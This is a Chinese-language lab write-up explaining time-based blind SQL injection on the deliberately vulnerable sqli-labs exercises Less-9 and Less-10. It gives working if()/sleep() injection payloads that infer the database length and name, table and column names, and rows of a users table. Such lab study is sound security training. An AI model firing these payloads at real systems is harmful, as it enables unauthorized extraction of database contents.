概论
时间盲注:时间盲注与布尔盲注的注入原理大致相同,区别就是时间盲注没有回显或者正确和错误页面回显一样。所以时间型盲注需要页面沉睡时间判断,通过 sleep()函数测试,通过if()和sleep()联合逐个猜解数据,例:
1 | http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,1,sleep(5)) --+ |
如果当前查询的当前数据库ascii(substr(database()),1,1)的第一个字符的ASCII码大于100,ture执行select 1页面正常返回,false执行select sleep(5)页面沉睡5秒后返回。1和sleep(5)也可以换下位置。
常用函数:
1 | sleep(n):使数据库在暂停n秒之后再将搜索结果输出 |
sqli-labs less9
以sqli平台第九题为例写一下时间盲注
less9是基于Time-GET-单引号-字符型-盲注
进行注入测试,与上一关一样
1 | http://127.0.0.1/sqli-labs-master/Less-9/?id=1 |
但是发现不管上面那一个,页面返回是一样的回显为you are in………..

这样就不能根据页面的回显来判断匹配结果,要使用延时函数sleep()对两种输入进行区分。附源码
1 |
|
注入过程与less8是一样的,payload也差不多,比上一关多了一个if函数
判断数据库长度
1 | ?id=1' and if(length(database())>1,1,sleep(4)) --+ |
执行成功进行1,失败进行sleep(4)沉睡4秒,如图


所以数据库长度是8
下面都是一样的,根据页面返回时间不一样判断是否注入成功
爆数据库名
1 | ?id=1' and if(ascii(substr(database(),1,1))=100,1,sleep(5)) --+ |
通过修改substr的步长来进一步猜测数据库名的其他字符
爆表名
1 | ?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=105,1,sleep(5)) --+ |
爆列名
1 | ?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+ |
爆数据
1 | ?id=1' and if(ascii(substr((select id from users limit 0,1),1,1))=105,1,sleep(5)) --+ |
可以看出时间盲注的中心思想和布尔盲注相同,也通过截取函数查询逐个匹配想要的信息。
手工注入会很慢还是要写脚本跑,我还没找到很好的脚本。可以在网上找下。
也顺便提下less10,和Less9差别只在于单双引号,less10是双引号闭合改下payload,修改查询语句闭合后用脚本注入即可。